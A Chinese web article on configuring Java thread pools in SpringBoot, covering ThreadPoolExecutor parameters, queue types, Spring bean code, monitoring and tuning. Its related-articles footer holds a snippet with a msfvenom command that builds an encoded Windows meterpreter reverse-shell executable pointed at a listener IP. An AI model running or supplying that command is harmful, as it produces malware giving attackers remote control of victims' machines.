線程池詳解:在SpringBoot中的最佳實踐

線程池詳解:在SpringBoot中的最佳實踐

引言

在Java并發編程中,線程池是一種非常重要的資源管理工具,它允許我們在應用程序中有效地管理和重用線程,從而提高性能并降低資源消耗。特別是在SpringBoot等企業級應用中,正確使用線程池對于應用程序的穩定性和性能至關重要。

根據阿里巴巴《Java開發手冊》中的強制要求:

【強制要求】線程池不允許使用Executors去創建,而是通過ThreadPoolExecutor的方式,這樣的處理方式讓寫的同學更加明確線程池的運行規則,規避資源耗盡的風險。

說明:Executors返回的線程池對象的弊端如下:
1) FixedThreadPool和SingleThreadPool:允許的請求隊列長度為Integer.MAX_VALUE,可能會堆積大量的請求,從而導致OOM。
2)CachedThreadPool:允許的創建線程數量為Integer.MAX_VALUE,可能會創建大量的線程,從而導致OOM。

本文將詳細介紹線程池的基本原理、常用的工作隊列類型及其優缺點,以及在SpringBoot中的簡單實現方式。

線程池的基本原理

線程池的核心思想是復用線程,避免頻繁創建和銷毀線程所帶來的性能開銷。它的工作流程如下:

  1. 當有新任務提交時,線程池會判斷當前運行的線程數是否小于核心線程數(corePoolSize),如果是,則創建新線程執行任務。
  2. 如果當前運行的線程數等于或大于核心線程數,則將任務放入工作隊列。
  3. 如果工作隊列已滿,且當前線程數小于最大線程數(maximumPoolSize),則創建新線程執行任務。
  4. 如果工作隊列已滿,且當前線程數等于或大于最大線程數,則根據拒絕策略處理該任務。
        ┌─────────────────┐         ┌───────────────┐         ┌─────────────────┐│                 │         │               │         │                 ││   corePoolSize  │─────────│  workQueue    │─────────│  maximumPoolSize││   核心線程數    │         │  工作隊列     │         │  最大線程數     │└─────────────────┘         └───────────────┘         └─────────────────┘│                         │                          ││                         │                          │▼                         ▼                          ▼┌─────────────────┐         ┌───────────────┐         ┌─────────────────┐│ 創建新線程執行  │         │ 放入工作隊列  │         │  創建新線程執行 │└─────────────────┘         └───────────────┘         └─────────────────┘││▼┌─────────────────┐│   拒絕策略     │└─────────────────┘

兩次創建線程對比:

對比維度第一次創建(核心線程)第二次創建(非核心線程)
?觸發條件線程數 < corePoolSize線程數 ≥ corePoolSize ? 隊列已滿
?線程性質核心線程,默認長期存活臨時線程,空閑超時后被回收
?目的維持基礎并發能力應對突發流量,防止隊列積壓
?是否受keepAliveTime影響默認否(需設置allowCoreThreadTimeOut=true

ThreadPoolExecutor的主要參數

ThreadPoolExecutor構造函數有7個參數:

public ThreadPoolExecutor(int corePoolSize,                 // 核心線程數int maximumPoolSize,              // 最大線程數long keepAliveTime,               // 空閑線程存活時間TimeUnit unit,                    // 時間單位BlockingQueue<Runnable> workQueue, // 工作隊列ThreadFactory threadFactory,      // 線程工廠RejectedExecutionHandler handler  // 拒絕策略
)

參數詳解

  1. corePoolSize:核心線程數,線程池中會維持的最小線程數,即使它們處于空閑狀態。
  2. maximumPoolSize:最大線程數,線程池允許創建的最大線程數。
  3. keepAliveTime:空閑線程的存活時間,當線程數大于核心線程數時,多余的空閑線程存活的最長時間。
  4. unit:keepAliveTime的時間單位。
  5. workQueue:工作隊列,用于存放待執行的任務。常用的有:
    • ArrayBlockingQueue:基于數組的有界阻塞隊列,按FIFO排序。
    • LinkedBlockingQueue:基于鏈表的阻塞隊列,按FIFO排序,容量可選,如不指定則為Integer.MAX_VALUE。
    • SynchronousQueue:不存儲元素的阻塞隊列,插入操作必須等待另一個線程的刪除操作。
    • PriorityBlockingQueue:具有優先級的無界阻塞隊列。
  6. threadFactory:線程工廠,用于創建新線程,可以自定義線程的名稱、優先級等。
  7. handler:拒絕策略,當工作隊列已滿且線程數達到maximumPoolSize時,如何處理新提交的任務。常用的有:
    • AbortPolicy:直接拋出RejectedExecutionException異常(默認)。
    • CallerRunsPolicy:由提交任務的線程自己執行該任務。
    • DiscardPolicy:直接丟棄任務,不拋出異常。
    • DiscardOldestPolicy:丟棄隊列最前面的任務,然后重新提交被拒絕的任務。

工作隊列(WorkQueue)類型及優缺點

選擇合適的工作隊列對線程池的性能影響很大。以下是常用的幾種隊列類型及其優缺點:

1. ArrayBlockingQueue

基于數組的有界阻塞隊列,按FIFO(先進先出)原則對元素進行排序。

優點

  • 有界隊列,可以防止資源耗盡
  • 內存占用固定
  • 適合已知任務量的場景

缺點

  • 隊列容量一旦設定,無法動態調整
  • 當隊列滿時,新任務可能會被拒絕
  • 對于突發流量不夠靈活
2. LinkedBlockingQueue

基于鏈表的阻塞隊列,按FIFO原則對元素進行排序。

優點

  • 鏈表結構,動態分配內存
  • 可以指定容量,也可以不指定(默認為Integer.MAX_VALUE)
  • 吞吐量通常高于ArrayBlockingQueue

缺點

  • 如果不指定容量,可能導致OOM(阿里巴巴手冊中提到的問題)
  • 每個節點都會占用更多的內存(節點對象的開銷)
3. SynchronousQueue

不存儲元素的阻塞隊列,每個插入操作必須等待另一個線程的刪除操作。

優點

  • 直接傳遞,沒有隊列容量限制的概念
  • 適合任務處理速度快、不需要隊列緩沖的場景
  • 可以避免隊列中任務的積壓

缺點

  • 沒有存儲能力,任何時候都無法插入元素,除非有另一個線程正在取出元素
  • 如果沒有足夠的線程來處理任務,新任務可能會被拒絕
  • 通常需要較大的最大線程數來配合使用
4. PriorityBlockingQueue

具有優先級的無界阻塞隊列,元素按優先級順序出隊。

優點

  • 可以按任務優先級執行
  • 適合有任務優先級區分的場景

缺點

  • 無界隊列,可能導致OOM
  • 優先級比較會帶來額外的性能開銷
5. DelayQueue

延遲隊列,元素只有到了指定的延遲時間才能被取出。

優點

  • 適合需要延時處理的任務
  • 可以實現定時任務的功能

缺點

  • 無界隊列,可能導致OOM
  • 時間依賴性高

SpringBoot中的線程池配置

在SpringBoot應用中配置線程池有多種方式,下面介紹幾種常用的方法:

1. 使用@Bean注解創建線程池

@Configuration
public class ThreadPoolConfig {@Beanpublic ThreadPoolExecutor threadPoolExecutor(@Value("${thread.pool.corePoolSize:10}") int corePoolSize,@Value("${thread.pool.maxPoolSize:20}") int maxPoolSize,@Value("${thread.pool.queueCapacity:200}") int queueCapacity,@Value("${thread.pool.keepAliveSeconds:60}") int keepAliveSeconds) {// 使用有界隊列BlockingQueue<Runnable> workQueue = new LinkedBlockingQueue<>(queueCapacity);// 自定義線程工廠ThreadFactory threadFactory = new ThreadFactoryBuilder().setNameFormat("業務處理線程-%d").setDaemon(false).setPriority(Thread.NORM_PRIORITY).build();return new ThreadPoolExecutor(corePoolSize,maxPoolSize,keepAliveSeconds,TimeUnit.SECONDS,workQueue,threadFactory,new ThreadPoolExecutor.CallerRunsPolicy());}
}

2. 使用ThreadPoolTaskExecutor(Spring提供的線程池封裝)

@Configuration
public class ThreadPoolConfig {@Beanpublic ThreadPoolTaskExecutor taskExecutor() {ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();// 核心線程數executor.setCorePoolSize(10);// 最大線程數executor.setMaxPoolSize(20);// 隊列容量executor.setQueueCapacity(200);// 線程最大空閑時間executor.setKeepAliveSeconds(60);// 線程名前綴executor.setThreadNamePrefix("taskExecutor-");// 拒絕策略executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy());// 等待所有任務完成后再關閉線程池executor.setWaitForTasksToCompleteOnShutdown(true);// 等待終止的時間executor.setAwaitTerminationSeconds(60);executor.initialize();return executor;}
}

3. 使用@Async注解進行異步調用

首先配置異步執行的線程池:

@Configuration
@EnableAsync
public class AsyncConfig {@Bean("asyncExecutor")public Executor asyncExecutor() {ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();executor.setCorePoolSize(10);executor.setMaxPoolSize(20);executor.setQueueCapacity(200);executor.setKeepAliveSeconds(60);executor.setThreadNamePrefix("Async-");executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy());executor.initialize();return executor;}
}

然后在需要異步執行的方法上添加@Async注解:

@Service
public class EmailService {@Async("asyncExecutor")public CompletableFuture<Boolean> sendEmail(String to, String subject, String content) {// 發送郵件的耗時操作return CompletableFuture.completedFuture(Boolean.TRUE);}
}

實際應用場景

1. 批量處理任務

在需要處理大量數據的場景中,可以使用線程池進行并行處理:

@Service
public class BatchProcessService {@Autowiredprivate ThreadPoolTaskExecutor taskExecutor;public void processBatch(List<Data> dataList) {// 分批處理int batchSize = 100;for (int i = 0; i < dataList.size(); i += batchSize) {List<Data> batch = dataList.subList(i, Math.min(i + batchSize, dataList.size()));taskExecutor.submit(() -> processBatchInternal(batch));}}private void processBatchInternal(List<Data> batch) {// 處理單個批次的數據batch.forEach(data -> {// 處理單條數據});}
}

2. 異步通知

在完成某些操作后需要進行異步通知時:

@Service
public class NotificationService {@Autowiredprivate ThreadPoolExecutor threadPoolExecutor;public void sendNotifications(List<String> userIds, String message) {for (String userId : userIds) {threadPoolExecutor.execute(() -> {try {// 發送通知System.out.println("向用戶 " + userId + " 發送通知: " + message);} catch (Exception e) {// 錯誤處理System.err.println("發送通知失敗: " + e.getMessage());}});}}
}

3. 定時任務

結合SpringBoot的@Scheduled注解使用自定義線程池:

@Configuration
@EnableScheduling
public class ScheduleConfig implements SchedulingConfigurer {@Autowiredprivate ThreadPoolTaskExecutor taskExecutor;@Overridepublic void configureTasks(ScheduledTaskRegistrar taskRegistrar) {taskRegistrar.setScheduler(scheduledTaskExecutor());}@Bean(destroyMethod = "shutdown")public Executor scheduledTaskExecutor() {return Executors.newScheduledThreadPool(10, r -> {Thread t = new Thread(r);t.setName("scheduled-task-" + t.getId());return t;});}
}@Component
public class DataSyncTask {@Autowiredprivate ThreadPoolTaskExecutor taskExecutor;@Scheduled(cron = "0 0/30 * * * ?") // 每30分鐘執行一次public void syncData() {System.out.println("開始數據同步任務...");// 獲取需要同步的數據列表List<String> dataIds = getDataIdsToSync();// 使用線程池并行處理for (String dataId : dataIds) {taskExecutor.submit(() -> syncSingleData(dataId));}}private List<String> getDataIdsToSync() {// 獲取需要同步的數據ID列表return Arrays.asList("data1", "data2", "data3");}private void syncSingleData(String dataId) {try {System.out.println("同步數據: " + dataId);// 具體同步邏輯...} catch (Exception e) {System.err.println("數據同步失敗: " + e.getMessage());}}
}

線程池監控

在生產環境中,監控線程池的運行狀態是非常重要的,可以幫助我們及時發現問題并進行調整。

1. 自定義監控指標

@Component
@RequiredArgsConstructor
public class ThreadPoolMonitor {private final ThreadPoolExecutor threadPoolExecutor;private final ThreadPoolTaskExecutor taskExecutor;@Scheduled(fixedRate = 60000) // 每分鐘記錄一次public void monitorThreadPool() {ThreadPoolExecutor executor = threadPoolExecutor;logThreadPoolStatus("自定義線程池", executor);// 監控ThreadPoolTaskExecutorThreadPoolExecutor tpExecutor = taskExecutor.getThreadPoolExecutor();logThreadPoolStatus("任務執行線程池", tpExecutor);}private void logThreadPoolStatus(String poolName, ThreadPoolExecutor executor) {int activeCount = executor.getActiveCount(); // 活躍線程數int poolSize = executor.getPoolSize(); // 當前線程數int corePoolSize = executor.getCorePoolSize(); // 核心線程數int maximumPoolSize = executor.getMaximumPoolSize(); // 最大線程數long completedTaskCount = executor.getCompletedTaskCount(); // 已完成任務數long taskCount = executor.getTaskCount(); // 總任務數int queueSize = executor.getQueue().size(); // 隊列大小log.info("線程池狀態 [{}]: 活躍線程數={}, 線程池大小={}, 核心線程數={}, " +"最大線程數={}, 已完成任務數={}, 總任務數={}, 隊列中任務數={}, 隊列剩余容量={}",poolName, activeCount, poolSize, corePoolSize, maximumPoolSize,completedTaskCount, taskCount, queueSize, (executor.getQueue() instanceof LinkedBlockingQueue)? ((LinkedBlockingQueue<?>) executor.getQueue()).remainingCapacity(): -1);// 計算線程池利用率double utilizationRate = (double) activeCount / poolSize;log.info("線程池 [{}] 利用率: {}", poolName, String.format("%.2f%%", utilizationRate * 100));// 監控任務隊列使用情況if (executor.getQueue() instanceof LinkedBlockingQueue) {LinkedBlockingQueue<?> queue = (LinkedBlockingQueue<?>) executor.getQueue();int capacity = queue.size() + queue.remainingCapacity();double queueUsageRate = (double) queueSize / capacity;log.info("隊列 [{}] 使用率: {}", poolName, String.format("%.2f%%", queueUsageRate * 100));}// 任務拒絕情況監控(需要自定義RejectedExecutionHandler來記錄拒絕次數)if (executor.getRejectedExecutionHandler() instanceof MonitoredRejectedExecutionHandler) {MonitoredRejectedExecutionHandler handler = (MonitoredRejectedExecutionHandler) executor.getRejectedExecutionHandler();log.info("線程池 [{}] 任務拒絕次數: {}", poolName, handler.getRejectedCount());}}// 自定義的拒絕策略處理器,增加了拒絕次數的記錄public static class MonitoredRejectedExecutionHandler implements RejectedExecutionHandler {private final RejectedExecutionHandler delegate;private final AtomicLong rejectedCount = new AtomicLong(0);public MonitoredRejectedExecutionHandler(RejectedExecutionHandler delegate) {this.delegate = delegate;}@Overridepublic void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {rejectedCount.incrementAndGet();delegate.rejectedExecution(r, executor);}public long getRejectedCount() {return rejectedCount.get();}}
}

線程池參數選擇的經驗法則

合理配置線程池參數是很重要的,以下是一些經驗法則:

  1. 核心線程數的選擇

    • CPU密集型任務:通常設置為CPU核心數 + 1
    • IO密集型任務:可以設置為CPU核心數 * 2
    // 獲取CPU核心數
    int processors = Runtime.getRuntime().availableProcessors();
    // CPU密集型任務
    int corePoolSize = processors + 1;
    // IO密集型任務
    int ioPoolSize = processors * 2;
    
  2. 隊列容量的選擇

    • 要考慮內存資源限制
    • 考慮任務的平均執行時間
    • 考慮系統的負載能力
  3. 拒絕策略的選擇

    • 一般推薦使用CallerRunsPolicy,它不會丟棄任務,而是將任務回退給調用者
    • 對于不重要的任務,可以使用DiscardPolicy直接丟棄

常見問題與解決方案

1. 任務執行慢,隊列堆積

問題:任務執行速度慢,導致隊列中堆積了大量任務。
解決方案

  • 增加核心線程數和最大線程數
  • 優化任務執行邏輯,提高處理速度
  • 使用更合適的隊列類型,如優先級隊列

2. 頻繁觸發拒絕策略

問題:經常有任務被拒絕執行。
解決方案

  • 增加隊列容量
  • 增加最大線程數
  • 實現更合理的拒絕策略
  • 添加任務提交速率限制

3. OOM問題

問題:使用無界隊列導致內存溢出。
解決方案

  • 使用有界隊列,如ArrayBlockingQueue或指定容量的LinkedBlockingQueue
  • 監控隊列大小,在達到警戒值時采取措施

總結

線程池是Java并發編程中非常重要的工具,正確使用線程池可以提高應用程序的性能和穩定性。在SpringBoot應用中,我們應該遵循阿里巴巴Java開發手冊的建議,避免使用Executors創建線程池,而是通過ThreadPoolExecutor明確指定各項參數。

選擇合適的工作隊列類型、設置合理的線程數量和隊列容量,以及實現適當的拒絕策略,這些都是使用線程池時需要考慮的關鍵因素。通過本文介紹的簡單配置方法,你可以在SpringBoot應用中輕松實現一個高效且安全的線程池。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/73513.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/73513.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/73513.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

2025年IT行業技術革命全景解析:從AI到量子計算的落地實踐

簡介 2025年&#xff0c;全球IT行業正經歷一場由AI、量子計算、物聯網等技術驅動的變革。從BOE的AI制造系統到德易科技的無人機光伏巡檢&#xff0c;從鯤鵬處理器的國產化突破到量子計算的算力革命&#xff0c;技術創新正在重塑產業格局。本文結合最新行業動態與實戰案例&…

JVM - 年輕代和老年代

通過一些問題來討論 JVM 中年輕代和老年代的內容 為什么要區分年輕代和老年代&#xff1f;哪些對像會進入老年代&#xff1f;什么時候會進行年輕代GC&#xff1f;什么時候會進行老年代GC&#xff1f; 1. 為什么要區分年輕代和老年代&#xff1f; 年輕代中的對象大部分都是短期…

【react】在react中async/await一般用來實現什么功能

目錄 基本概念 工作原理 優點 注意事項 底層原理 實際應用場景 1. 數據獲取 (API 請求) 2. 表單提交 3. 異步狀態管理 4. 異步路由切換 5. 異步數據預加載 6. 第三方 API 調用 7. 文件上傳/下載 8. 路由導航攔截 關鍵注意事項 基本概念 async 函數&#xff1a;用…

高維小樣本數據的在線流特征選擇

發布于24年國際學習和控制論雜志 文獻地址 簡要總結 《Online streaming feature selection for high-dimensional small-sample data》研究了高維小樣本數據&#xff08;HDSS&#xff09;在類別不平衡情況下的在線流式特征選擇問題&#xff0c;提出了一種名為OSFSHS的算法。…

1688.item_search_seller-搜索店鋪列表接口返回數據說明

一、接口概述 item_search_seller 是 1688 提供的一個 API 接口&#xff0c;用于搜索店鋪列表。通過該接口&#xff0c;開發者可以查詢特定店鋪的相關信息&#xff0c;包括店鋪的基本信息、商品列表等。該接口廣泛應用于電商數據采集、市場調研、店鋪分析等場景。 二、接口請…

uniapp主題切換功能,適配H5、小程序

實現方法 方法性能消耗維護成本適用場景內聯樣式較高低小程序CSS變量屬性選擇器低中H5混合方案中等低跨平臺項目 優勢特點 性能優化&#xff1a; H5端使用CSS原生變量切換小程序端使用高效樣式字符串生成切換動畫流暢 維護性提升 主題配置集中管理新增主題只需要拓展vars對象…

線程未關閉導致資源泄漏

文章目錄 資源泄漏&#xff08;線程未關閉&#xff09;問題描述錯誤實現優化原理正確實現優化原理 資源泄漏&#xff08;線程未關閉&#xff09; 問題描述 應用程序啟動時創建線程池處理任務&#xff0c;但未在應用關閉時正確關閉線程池。 現象&#xff1a; 應用重啟時&…

MSF木馬的生成及免殺

先簡單生成一個木馬 ┌──(kali?kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…

用C#實現UDP服務器

對UDP服務器的要求 如同TCP通信一樣讓UDP服務端可以服務多個客戶端 需要具備的條件&#xff1a; 1.區分消息類型(不需要處理分包、黏包) 2.能夠接收多個客戶端的消息 3.能夠主動給自己發過消息的客戶端發消息(記錄客戶端信息)…

如何在 Postman 中發送 PUT 請求?

在 Postman 中發送 PUT 請求的步驟相對簡單&#xff0c;包括新建接口、選擇 PUT 方法、填寫 URL 和參數等幾個主要步驟。 Postman 發送 put 請求教程

charles抓包軟件免費使用教程

本文將給大家介紹Charles破解教程&#xff0c;支持Windows和Mac系統&#xff0c;操作簡單&#xff0c;永久免費使用。同時&#xff0c;我們也會提到另一款強大的抓包工具——SniffMaster&#xff08;抓包大師&#xff09;&#xff0c;它在網絡調試和數據包分析方面同樣表現出色…

卷積神經網絡 - 參數學習

本文我們通過兩個簡化的例子&#xff0c;展示如何從前向傳播、損失計算&#xff0c;到反向傳播推導梯度&#xff0c;再到參數更新&#xff0c;完整地描述卷積層的參數學習過程。 一、例子一 我們構造一個非常簡單的卷積神經網絡&#xff0c;其結構僅包含一個卷積層和一個輸出…

.NET三層架構詳解

.NET三層架構詳解 文章目錄 .NET三層架構詳解引言什么是三層架構表示層&#xff08;Presentation Layer&#xff09;業務邏輯層&#xff08;Business Logic Layer&#xff0c;BLL&#xff09;數據訪問層&#xff08;Data Access Layer&#xff0c;DAL&#xff09; .NET三層架構…

Redis實戰常用二、緩存的使用

一、什么是緩存 在實際開發中,系統需要"避震器"&#xff0c;防止過高的數據訪問猛沖系統,導致其操作線程無法及時處理信息而癱瘓. 這在實際開發中對企業講,對產品口碑,用戶評價都是致命的。所以企業非常重視緩存技術; 緩存(Cache)&#xff1a;就是數據交換的緩沖區&…

STM32八股【2】-----ARM架構

1、架構包含哪幾部分內容 寄存器處理模式流水線MMU指令集中斷FPU總線架構 2、以STM32為例進行介紹 2.1 寄存器 寄存器名稱作用R0-R3通用寄存器用于數據傳遞、計算及函數參數傳遞&#xff1b;R0 也用于存儲函數返回值。R4-R12通用寄存器用于存儲局部變量&#xff0c;減少頻繁…

effective Java 學習筆記(第二彈)

effective Java 學習筆記&#xff08;第一彈&#xff09; 整理自《effective Java 中文第3版》 本篇筆記整理第3&#xff0c;4章的內容。 重寫equals方法需要注意的地方 自反性&#xff1a;對于任何非空引用 x&#xff0c;x.equals(x) 必須返回 true。對稱性&#xff1a;對于…

mac命令行快捷鍵

光標移動 Ctrl A: 將光標移動到行首。Ctrl E: 將光標移動到行尾。Option 左箭頭: 向左移動一個單詞。Option 右箭頭: 向右移動一個單詞。 刪除和修改 Ctrl K: 刪除從光標到行尾的所有內容。Ctrl U: 刪除從光標到行首的所有內容。Ctrl W: 刪除光標前的一個單詞。Ctrl …

CentOS 7部署主域名服務器 DNS

1. 安裝 BIND 服務和工具 yum install -y bind bind-utils 2. 配置 BIND 服務 vim /etc/named.conf 修改以下配置項: listen-on port 53 { any; }; # 監聽所有接口allow-query { any; }; # 允許所有設備查詢 3 . 添加你的域名區域配置 …

優化 SQL 語句方向和提升性能技巧

優化 SQL 語句是提升 MySQL 性能的關鍵步驟之一。通過優化 SQL 語句,可以減少查詢時間、降低服務器負載、提高系統吞吐量。以下是優化 SQL 語句的方法、策略和技巧: 一、優化 SQL 語句的方法 1. 使用 EXPLAIN 分析查詢 作用:查看 SQL 語句的執行計劃,了解查詢是如何執行的…

C++ 多線程簡要講解

std::thread是 C11 標準庫中用于多線程編程的核心類&#xff0c;提供線程的創建、管理和同步功能。下面我們一一講解。 一.構造函數 官網的構造函數如下&#xff1a; 1.默認構造函數和線程創建 thread() noexcept; 作用&#xff1a;創建一個 std::thread 對象&#xff0c;但…